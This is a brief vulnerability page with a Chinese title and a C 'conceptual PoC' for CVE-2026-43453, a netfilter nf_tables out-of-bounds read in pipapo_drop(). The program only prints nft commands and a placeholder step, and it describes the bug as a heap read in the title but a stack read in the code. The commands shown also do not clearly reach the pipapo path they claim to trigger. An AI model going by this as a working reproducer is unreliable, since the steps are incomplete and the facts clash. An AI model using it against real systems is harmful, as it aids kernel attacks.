CVE-2026-43453 Linux内核堆越界读取漏洞

/* * Conceptual PoC for CVE-2026-43453 * Triggering the stack out-of-bounds read in pipapo_drop(). */ #include <stdio.h> // Note: This vulnerability is within the Linux Kernel (netfilter). // It requires a specific kernel version and local access to trigger. // The following steps describe the logic to reproduce: // // 1. Load the nf_tables module. // 2. Create an nftables table. // 3. Create a 'set' with type 'pipapo' (e.g., for IPv4 addresses). // 4. Populate the set such that the internal structure utilizes NFT_PIPAPO_MAX_FIELDS. // 5. Perform a deletion operation on the set or elements to invoke pipapo_drop(). // 6. Monitor kernel logs for KASAN report: // "BUG: KASAN: stack-out-of-bounds in pipapo_drop+0x50c/0x57c [nf_tables]" int main() { printf("To test this CVE, run the following commands on a vulnerable kernel:\n"); printf("1. nft add table ip filter\n"); printf("2. nft add set ip filter my_set { type ipv4_addr; flags interval; }\n"); printf("3. [Manipulate set to reach max fields/complexity]\n"); printf("4. nft delete set ip filter my_set\n"); printf("5. Check dmesg for out-of-bounds read.\n"); return 0; }